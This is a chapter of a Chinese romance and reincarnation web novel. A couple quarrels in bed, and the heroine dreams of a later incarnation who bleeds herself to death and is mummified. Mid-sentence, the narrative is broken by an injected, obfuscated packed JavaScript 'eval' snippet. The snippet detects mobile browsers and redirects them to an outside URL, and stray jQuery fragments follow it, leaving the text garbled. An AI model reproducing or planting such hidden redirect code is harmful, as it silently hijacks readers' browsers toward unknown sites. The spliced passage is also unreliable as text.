55. 第55章

作品:《重回嫁给宿敌那一天

    喉腔灌入冷水,何年舌背和软腭都冻麻了,辨别不出味道。


    倒是嗓子难受,咳嗽了两声,呛出几滴生理性眼泪。


    李信业捏在她颌肉上的手,松了力气。


    拇指抚在她唇瓣上,指腹抿去唇上水泽。


    他迟疑了一下,又以手背拭掉她脸颊上的泪水。


    他的手很烫,沐浴后宽厚而柔软,带着潮湿水汽。


    何年天然敏感的嗅觉,被他周身散发的强烈气息占据。


    她放弃追踪吞咽下去的药丸气味,脑子里只有空茫的水流过境,遥远而空洞的悲哀。


    在这一刻,她终于意识到自己的问题所在。


    她妄图弥补前世对他的感情亏欠。可这一世,她们并不是真正意义上的夫妻,他也不需要与她一起过冬至吃混沌...


    换言之,他们只是合作关系而已。


    那些接连梦见的前世光景,他们别扭而绞缠的夫妻生活,让她产生了误解,错置了自己的位置,才会一整日心神不定。


    何年翻了个身,朝着里侧睡去。


    她暗暗告诫自己,她需要避免前世的悲剧不再发生,而不需要试图弥补,两人过期的爱恨纠葛。


    她调整完心态后,将锦衾向上扯了扯,包裹住自己。


    心里平静极了,静到能听到蛛网般的怅落。


    李信业见她背对着自己,看出她生气了。


    他放下杯子后,站在床边迟疑了一会,吹熄了烛火,在沉寂着白光的黑暗中,他掀开锦衾,睡在了床榻外侧。


    他躺下来时,结实的拔步床,在暗夜里塌陷了瞬息,橄榄树林的风一样,在她后背激起一股凉意,也带来一种近乎失真的清洌气息。


    何年想到读研一时,有学长追了她两年多。


    她被追到不耐烦时,对学长说,“如果我能在你怀里睡着,我就接受你。”


    她那时饱受失眠的折磨,能够睡个变得非常奢侈。


    学长听闻她的要求,面露喜色。


    在校园午后的长椅上,那个学长尽可能放松呼吸,将她抱在怀里。只坚持了几分钟,她就站了起来,脸上露出失望的神色。


    “你的身上有一种让人烦躁的气息。”


    她拒绝的理由,让学长难以应对。


    可何年现在才发现,李信业睡在她旁边时,她并不觉得厌恶。


    甚至于,有一种安心的感觉。


    就好像他的气息融于她的气息,让她无法划出明确的界限,只能纵容自己沦陷一样。


    何年将头埋在被子里,强迫自己酝酿睡意。


    拔步床很大,他们裹着各自的绣褥。


    李信业翻身侧向她,望着她裹成小小一团,想起她夜间梦魇时,偎在他怀里的样子。


    许是连日来他的渴望,越来越难以克制...


    又或许,他躲了一日后,夜间回来吃下的那碗馄炖,让他生了不该有的贪婪...


    他胸腔一阵沸热,恍若她如绸如缎的呼吸,缠绕在他的肌肤上...


    他心里生出不管不顾的冲动。


    “秋娘...”他的声音在夜晚,泅染着哑意,


    何年浑身绷紧了,感受肩头落下厚重的手掌。


    那只大掌微微用力,就能将她扳过来,让她与他面对面。


    她屏住了呼吸,连头发丝都不敢动,他却迟迟没有行动。


    许久,他收回了手。


    何年悬在半空的心跳,咣当跌落下去。


    她翻身对着他,黑暗里,只露出的脑袋,小兽一般警敏。


    “李信业,你如果不喜欢我,就不要招惹我。”


    她向来敏锐。


    她不信他充满爱意的目光,不经意流露的肢体动作,细致而无言的照顾,欲言又止的克制与隐忍...


    全部是她自己的错觉...


    何年目光明亮,黑暗中如一簇磷火,一点即燃。


    李信业没有吭声,他的眼睛像冰封的大海,还沉积着前世的活化石,记录着他惨烈的溃败...


    他在迈步冲动的一步后,就立刻开始后悔,后悔方才的莽撞。


    虽然,他曾对爱的理解,就是横冲直撞的攫取,大胆的示爱与掠夺,不必权衡利弊的占有。


    是公狼追逐母狼,将猎物全部献在母狼面前。是雄羚羊圈住母羚羊,不允许她靠近其他异性。是棕熊野蛮的争夺□□权,残忍撕碎靠近的雄性对手...


    是想到她,就充沛而无尽的力量。是靠近她,就无法遏制的蓬勃渴望。


    是血对血,肉对肉,与她血□□融的欲念。


    那是他自小在草原驰骋,与动物为伴,对爱最原始的理解。


    现在变成了缩回手,为她留一条退路。


    “你说话!”女娘提高了嗓门。


    生气的声音,尾调短促,箭矢一般射在他心脏上。


    李信业既不开口承认,也不舍得否认。


    何年愤愤道,“李信业,没有热烈表达出口的喜欢,在我这里都不算数。你今日不承认,往后就不必承认了。你便是承认了,我也不接受...”


    就在他踟蹰间,她重又翻身背对着他,与他隔开了一臂远的距离。


    “秋娘,你生气了?”


    他膝盖微曲着,从背后隔着距离,半张着手臂,像一个问号也想不管不顾,孤注一掷的拥抱一个句号。


    何年恼怒道,“我为什么不生气?你这样戏弄我,就算你是万世敬仰的大英雄,在我这里也是一个懦夫,我再也不会喜欢你了...”


    李信业胸口蓦地一紧,那个‘再’字利爪一般,攥紧他的心脏。


    “你喜欢我?”他狐疑道。


    何年回头呸了一声,“我喜欢狗。”


    想想不对劲,又改口道,“我喜欢狗,都不会喜欢你!”


    背后响起一声闷笑。


    夜晚如此沉静,李信业干涸的海,有蝴蝶轻轻振翅飞过。


    “那就好。”


    他许久说,任心底的呼啸,消失在无边海浪里。


    何年揪着绣褥,在心里暗骂他无数遍


    ‘不知好歹的莽夫’


    从现在开始,他每次在她面前献殷勤时,她决计不会有任何动容。


    不,她根本不会给他献殷勤的机会。


    夜晚口渴时,她要自己起来喝茶。需要换洗时,她也自己去耳房打热水...


    何年抱着被子,气鼓鼓的想着,在雪夜安沉的气息中,不知不觉睡着了。


    梦里是江陵烟波浩渺的湖上,一个扎着红菱绳的六七岁女童,抱着母亲的胳膊,央求道,“母亲,你给我讲讲,沈娘子守城门的故事吧...”


    女童眼睫轻颤,模样粉嫩可爱,那张脸与何年幼时几乎一模一样。若非穿着鹅黄绿的销金阔领袄裙,何年差点错认成自己。


    一身贵妇装扮的女人,听到女儿的央求,吓得脸色惨白。


    她迅速捂住女童的嘴巴,惊魂未定的四处看看,才小声道,“月娘,你从哪里听到的?”


    月娘肉乎乎的手指,搭在母亲手背上,奶声奶气解释道,“兄长带我出去玩时,在庙市的?书摊上看到的。”


    她说话摇头晃脑,两团圆髻上的红绸带,随着湖风飘荡。


    湖上水雾苍茫,女童的眼睛里,也显现出迷茫而憧憬的神色。


    “母亲,书上说,沈娘子出自京城沈氏的嫡支,是真正名门望族养出的世家贵女,不像我们家只是江陵沈氏的旁支。”


    女童肉嘟嘟甜丝丝的,如一团软乎乎的糯米糕。


    年轻的贵妇人,不忍苛责这个自幼聪慧的女儿,将她抱在怀里,温柔道,“月娘,你以后不准看这种禁书,也不许提起这个人,尤其是不能当着你爹爹的面提起,她是沈氏一族的耻辱。”


    “耻辱?”月娘面露困惑,“可那本叫做《幽栖录》的书上说,她死守江陵六个月,若不是她拖延许久,等来支援的大宁士兵,江陵城就会像其他城池一样,惨遭大梁屠戮...”


    女娘瓮声瓮气道,“母亲,沈娘子是女英雄,母亲怎么说她是家族耻辱?”


    做母亲的轻叹了口气,解释道,“她毒杀了北境王李信业,若非她酿此大祸,北粱不会顺利南下,大宁不会山河破碎,京城沈氏嫡支也不会惨遭灭族...”


    “总之”,保养得宜的妇人,捏了捏女儿雪团一样的脸颊,告诫道,“你日后万不可再提起她,若是被你父亲知道了,你以后就再也不能出门玩耍了。”


    女娘仰着白皙的小脸,一双乌黑发亮的眼睛,直视着母亲,认真道,“可是母亲,我夜里总是梦见这位沈娘子...”


    她想说,没有看到那本禁书以前,她就常常梦见一个雪肌花貌的女人,立在开满白莲的廊桥下,远远看着如月中聚雪,仙子一样美丽。


    她幼时告诉母亲,母亲只说,她定然是不记事时,见过了哪家女娘,看人家姿容绝俗,梦里也念念不忘...


    可自从看了那本书,她心里有一个清晰的感觉,她梦见的就是沈娘子。


    母亲点了点她的额头,嗔怪道,“月娘快别胡说了,你父亲还在家中等着我们呢...”


    欸乃的桨声中,船夫停船靠岸,仆从侍女们等在岸边。


    小女娘随着母亲坐上马车,轱辘的车轮碾压着青石地板。


    再从车里出来时,已是十五六岁,亭亭玉立的年轻女娘了,那是和沈初照一个模子刻出来的长相。


    何年于是猜到,这是沈初照死后,隔了不知多少年,转世投胎到同族旁支的一户人家。


    同她一样,这个叫沈月的小女娘,也自幼对沈初照感兴趣。


    虽然她的母亲王夫人,多次交待她不许读禁书,不准提起沈初照,她还是从马车上抱下一摞市井淘来的旧书,偷偷藏在褶裙里带入府。


    这些书五花八门,有些是野史杂记,有些是坊间流传的话本子,有些甚至是沈初照嫁给李信业后,与宋檀偷情媾和的粗俗春宫图。


    女娘荤素不忌,只要与沈初照有关,她都尽数收入囊中。


    古朴的老宅旧院里,沈月伏在桌案上,潜心研读。


    溽暑熏蒸,她额头鬓角都冒着细汗,可她全神贯注,没有理会窗外槐树上,聒噪不休的蝉鸣,也没有听到母亲靠近的脚步声。


    王夫人走近了,待看见女娘面前摊开的书册和画卷,两眼一黑,险些昏死过去。


    “你这个不知礼义廉耻的混帐东西,学什么不好,偏偏要学这个败坏门楣的□□倡妇!”


    沈月见母亲脸色不好,慌忙上前去扶。


    王夫人一巴掌扇在女娘脸上,白腻子般的脸颊上,立刻浮现血红的五指痕印。


    “我说你怎么回事,为你说了周家大郎,宋家二郎,官媒婆跑断了腿,你一个也看不上,这不满意那里挑刺,却原来是心思野了,看不上大好的儿郎....”


    “你你你...”王夫人指尖点着女儿的脸,痛声斥责道,“你枉费爹娘的悉心教诲,白读了这么多年的圣贤书...”


    王夫人憋着一口气骂完,脸已胀得青紫,捂着胸口,指着跪在地上认错的女娘道,“月娘,你三岁启蒙,四五岁就颂读四书,比别人家的男儿郎,还更会读书习字,你是江陵城远近皆知的才女啊,你怎能这般糊涂荒唐?”


    “母亲莫气,女儿知错了!”


    月娘看着母亲老泪纵横,心里也不是滋味。


    可她如同沈初照附体一般,只有在研究这位先祖的生平往事,人生履迹时,才觉得茫然而虚空的心,似得到一点点填充。


    而更诡异的是,她夜夜梦见沈初照,梦见发生在沈初照身上的事情,和书上记录的不一样。


    这让她更加执迷于搜集史料,验证和探寻真相。


    王夫人见女儿态度恭敬,便顺了顺堵在胸口的胀闷之气,语重心长道,“月娘,你可尽快改了吧!母亲为你定下与杨参议?家小郎君的婚事,年底你们订婚,明年春天就拜堂成亲,或许你将来嫁人了,经了男女情事,就不会执迷于看这些污人耳目的东西了...”


    沈月听到母亲让她嫁人,伏跪磕头不止道,“母亲,女儿淫心不改,若是将来嫁人,恐无法孝敬公婆,侍奉夫君...”


    她哭得梨花带雨,楚楚可怜。


    “母亲若是强迫女儿出嫁,日后女儿行事不检,德行有亏,恐招来祸端,辱没门楣!”


    沈月不喜欢男子,任何靠近她的男子,都会让她感到不适。


    起初,她以为自己是有磨镜之好,才会厌恶男子,却痴迷于沈初照。


    而随着年岁增长,以及她对沈初照的了解日渐加深,她渐渐有了其他猜想。


    而这个猜想,需要她耗尽一生去完成,她不能嫁人生子,做个内宅主妇。


    “母亲,女儿流连红尘,忘返情痴,如居樊笼,不得自在。求母亲允许女儿削发为尼,脱身遯去,入凌绝山相和寺修行...”


    女娘言辞恳切,王夫人纵容不忍,可幼时乖顺的女儿,被沈初照迷了心窍后,行为逾矩不说,还多有妄言绮语...


    这让她如何不担心?


    王夫人与丈夫商议之后,终是决定,暂送女儿去相和寺


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14935411|150027||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    修行。


    若是将来好转了,家中多出些嫁妆,便是低嫁乃至嫁给鳏夫,也总好过眼下心性不正,仓促嫁人,误了未来女婿,也害了家族要强...


    ....................


    凌绝山上,沈月白衣素裹,粗麻短衫,坐在静室内写书。


    她日夜苦读不倦,笔耕不辍,才写完自己对沈初照的研究,也写下灵魂不死不灭,不入轮回之门的秘法。


    这一年,她已经六十岁了。


    花甲之年,她身边亲人死的死,亡的亡,然而一切尘世苦痛,都不能伤她分毫。


    她将毕生都用来研究沈初照,也用来参破这夺舍般不属于自己的一生,该如何彻底终结?


    修道之人,炼气成神,炼神合道。


    而对于女道士而言,修行的关键在于修炼女丹,修炼位于子宫、脐内、乳溪三处的鼎炉。


    可沈月毕生研究旁门左道,勾庚乾汞,点茅烧银,最终只所求不过是,死后灵魂寂灭,不必受转世投胎,生生世世之苦。


    她最终将青石制成的棺榇,埋在凌绝山的地下石洞内。


    密不透风的石洞中,她割断经脉,放尽体内的鲜血。又将尸体用小火烘烤出全部水气和□□后,以膏油和几十种防腐香料熏蒸,确保尸体制成经久不坏的一具干尸。


    沈月相信,人死之后,魂魄寄居和依附在尸体上。只要尸体永不枯竭陨灭,魂魄就会永远黏附在这里,不会转世投胎,也不会有来生来世。


    沈月那时已知晓,她定然是沈初照的冤魂转世,才会一生为沈初照而活,恍若没有自主意识的空心人,从没有旁得快乐与消遣。


    在意识到这一生都是虚度,她也无法消解沈初照的不甘与憾恨后,她只能施以最极致的封印,让这个痛苦的灵魂,不必生生世世延续下去。


    她自己当然无法做完这些事情,协助她完成这一切的,是爱慕她几十年的一位同门师兄。


    这位师兄在完成她的嘱托后,也焚香自缢于她的棺榇前。


    何年梦中亲眼目睹这一切,也亲眼看着沈月割破血管,为自己放血时,口中还喃喃念着真言。


    “朝也不宁,暮也不宁,了了悟初心,命定憾恨,兀自不肯休!此去绝年,不来人间!”


    “不来人间”,是她完成沈初照的遗愿。


    可惜,这具干尸,后来被战争毁坏了。


    庚子事变后不久,相和寺被炸毁。


    沈初照的魂魄,经历了第二次转世投胎。


    这次投胎的对象,是何年熟悉的那个学术大佬,七十年代的老教授沈烨。


    她在动荡年代被打成毒草,小将们烧了她的研究室时,她决绝的走进火场,与她的研究成果共命运。


    何年后来在她的塑皮红星笔记本后面,找到一则关于兰州干涸的沼泽地里,发现千年前莲花种子的资讯。


    何年那时不知道这则资讯,和研究沈初照有何关系,但现在能够推断出,沈烨记得将军府的白莲池,也知道白莲出自金城艮河。


    何年是沈初照的魂魄,第三次转世投胎,也是唯一一次,没有自杀而死,反而穿回沈初照身上的人...


    她不知道其中的缘故,但她知道天命难违,天命也可逆。


    她便是那个要逆天命而行的人。


    可眼见着沈月血尽而死,沈烨葬身火场的画面时,何年还是脊背发寒,像奔赴一个天地动摇,此生不复的私奔。


    她牙齿颤抖,骨骼沙沙作响,一头栽进宿命的褶皱里。


    接住她的,是一个坚实而温暖的胸膛,熟悉而心安的怀抱。


    睁眼看见是李信业时,何年没有感到意外,似乎这就是她的私奔对象。


    她闪蝶一样栖息在敦厚的树上,看见上了罩子的湿热烛火里,李信业眼波浓稠,安抚孩童般拍着她的背。


    “秋娘”,他眼里蓄满担忧,“你在害怕什么?”


    手指抚过女娘的脊骨,衣衫汗透如水洗。


    他犹豫了一下,还是宽慰道,“你放心,你没有中毒,我上次喂你吃的不是毒药,是止疼丸。”


    他想到女娘白日声称毒发,必然是很紧张此事。


    而他其实喂给她的‘毒药’,不过是具有止痛功效的药丸而已。


    她有月末来葵水腹痛的毛病,前世他找薛神医替她配的药。


    上次她全身都是伤,正好借机喂给她吃。


    何年凝着刃芒的眼神,无声劈向李信业。


    “那你晚间喂我吃的解药是什么?”


    李信业迎着她的审视,哑声道,“屋檐上的雪团。”


    他过去在北境想念她时,会大口吞咽雪团。


    碎魄一样的剔透雪团,荆棘般刺入喉咙,融化在小腹里,是暖融融的感觉,如同渴慕已久的怀抱。


    李信业苍白辩解了一句,“雪团是无毒的,至洁至净...”


    何年盯着他翕动的两扇唇,唇肉丰润,闪着糜雪融烂的水光,很想狠狠咬他一口。


    她看了看他的脖颈,那里旧伤未愈。


    她只能发泄般咬出几个字,“我渴了”。


    这便是差遣他去倒水。


    李信业从善如流的站起身。


    何年忽觉不肯接受他献殷勤的想法,太过便宜他了。


    她不但要接受他主动献殷勤,从今往后,她还要变着方法使唤他。


    她想狠狠折磨他。


    何年轻抿一口水水,不满道,“太热了。”


    李信业不疑有它,折返到条案上,重倒凉水冲合。


    何年再尝一口,又挑刺道,“太凉...”


    李信业看出她的小心思,也不恼,又去加了点热水。


    何年喝几口后,状似惋惜道,“再凉一点就好了...”


    李信业不等她说,又去兑了点温水。


    何年这才喝完,又吩咐道,“我要沐浴。”


    不是热水擦拭,而是三更半夜沐浴。


    李信业索性穿上外衫,去耳房备热水。


    他一走,室内静下来,何年心里惝恍的梦境与不安,化作恶趣味的满足。


    她不明白为何发泄在李信业身上,她的痛苦便消失了大半?


    她不知道缘故,只是像难伺候的刺头一样,将所有事情都挑了一遍毛病。


    而李信业一样样照做。


    何年心情忽然好起来了。


    她抱膝坐在浴桶里,后脑勺抵着桶壁,脚掌贴着池底,脑中浮现李信业沉静的脸。


    做什么事情,能惹毛他呢?


    好期待。